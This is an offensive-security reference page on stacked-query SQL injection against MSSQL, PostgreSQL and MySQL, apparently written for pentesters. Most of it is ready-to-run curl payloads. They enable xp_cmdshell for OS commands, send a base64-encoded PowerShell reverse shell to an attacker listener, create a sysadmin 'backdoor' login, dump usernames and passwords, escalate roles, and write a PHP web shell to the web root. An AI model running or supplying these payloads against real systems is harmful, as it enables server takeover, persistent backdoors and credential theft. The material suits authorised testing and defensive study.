Skip to content

Stacked Queries SQLi

5 min read Created Sep 13, 2026 Last updated Sep 13, 2026

Stacked queries allow executing multiple SQL statements in a single injection point by separating them with a semicolon (;). Unlike other SQLi techniques that modify an existing query, stacked queries can run entirely new statements: INSERT, UPDATE, DELETE, CREATE, and database-specific commands like enabling xp_cmdshell. This makes them the most powerful injection type when supported, but driver and database compatibility varies significantly. For escalating to OS command execution, see SQLi to RCE.

Database Support

Stacked query support depends on both the database engine and the application's database driver. The semicolon separator must be processed by the driver, not just the database.

MSSQL is the primary target for stacked queries. Nearly every MSSQL driver processes semicolons natively. PostgreSQL supports them through libpq and most wrappers. MySQL support is rare in web applications because the default mysqli driver only executes a single statement per call.

Detection

Test for stacked query support using time-based payloads. If the injected sleep executes, the driver processes the second statement.

┌──(kali㉿kali)-[~]
└─$ curl -sk -o /dev/null -w '%{time_total}' "http://$TARGET_IP:$PORT/index.php?id=1;WAITFOR DELAY '0:0:5'--"
5.124
┌──(kali㉿kali)-[~]
└─$ curl -sk -o /dev/null -w '%{time_total}' "http://$TARGET_IP:$PORT/index.php?id=1;SELECT pg_sleep(5)--"
5.089
┌──(kali㉿kali)-[~]
└─$ curl -sk -o /dev/null -w '%{time_total}' "http://$TARGET_IP:$PORT/index.php?id=1;SELECT SLEEP(5)-- -"
5.071

A response time around 5 seconds confirms support. Compare against the normal response time baseline. If the response returns immediately, the driver does not support stacked queries and you need a different technique.

MSSQL Stacked Queries

MSSQL is the ideal target for stacked queries. Most MSSQL web applications use drivers that support semicolons natively, and MSSQL has powerful system stored procedures accessible through injection.

Enable xp_cmdshell

xp_cmdshell executes operating system commands from SQL Server. It is disabled by default on SQL Server 2005+ but can be re-enabled through sp_configure if the database user has sysadmin privileges.

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=1;EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE--"
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=1;EXEC xp_cmdshell 'whoami'--"
nt service\mssqlserver

Reverse Shell via xp_cmdshell

With command execution confirmed, use xp_cmdshell to download and execute a reverse shell payload or call PowerShell directly.

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=1;EXEC xp_cmdshell 'powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAJABMAEgATwBTAFQAIgAsACQATABQAE8AUgBUACkA'--"

Create Database Users

If xp_cmdshell is not available or the goal is persistence through database access, create a new SQL login with sysadmin privileges.

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=1;CREATE LOGIN backdoor WITH PASSWORD='P@ssw0rd123';EXEC sp_addsrvrolemember 'backdoor','sysadmin'--"

Data Modification

Stacked queries allow modifying application data directly. This can be used to escalate privileges within the application by changing a user's role.

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=1;UPDATE webapp.dbo.users SET role='admin' WHERE username='guest'--"

PostgreSQL Stacked Queries

PostgreSQL supports stacked queries through libpq and most drivers. While it lacks xp_cmdshell, PostgreSQL has its own set of powerful features accessible through stacked injection.

Data Staging with CREATE TABLE

Create a temporary table to stage extracted data, then read it through the original injection point using UNION or error-based techniques.

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=1;CREATE TABLE staging(output text);INSERT INTO staging SELECT username||':'||password FROM users--"

File Write with COPY

Write files to the server filesystem using COPY ... TO. Requires the PostgreSQL process to have write access to the target directory. Useful for writing web shells when the web root path is known.

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=1;COPY (SELECT '<?php system(\$_GET["cmd"]); ?>') TO '/var/www/html/shell.php'--"

Privilege Changes

If the current database user is a superuser, modify roles to grant additional access.

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=1;ALTER ROLE webapp_user SUPERUSER--"

Command Execution via COPY PROGRAM

PostgreSQL 9.3+ supports COPY ... FROM PROGRAM which executes an OS command and reads its output into a table. Requires superuser privileges.

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=1;CREATE TABLE cmd_output(line text);COPY cmd_output FROM PROGRAM 'id'--"

MySQL Stacked Queries

MySQL stacked query support is uncommon in web applications. The default mysqli extension in PHP only processes the first statement and silently ignores everything after the semicolon. Stacked queries work only with specific driver configurations.

The main scenario where MySQL accepts stacked queries in web apps is PDO with ATTR_EMULATE_PREPARES enabled (the default before PHP 8.0 when using certain MySQL libraries). Python's mysql-connector-python supports it with the multi=True parameter on cursor.execute().

When supported, MySQL stacked queries are more limited than MSSQL or PostgreSQL since MySQL lacks built-in OS command execution. Practical uses include:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=1;UPDATE users SET role='admin' WHERE username='guest'-- -"
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=1;SELECT '<?php system(\$_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'-- -"

INTO OUTFILE requires the MySQL FILE privilege and secure_file_priv must allow the target directory (or be empty). This privilege is commonly disabled in production environments.

References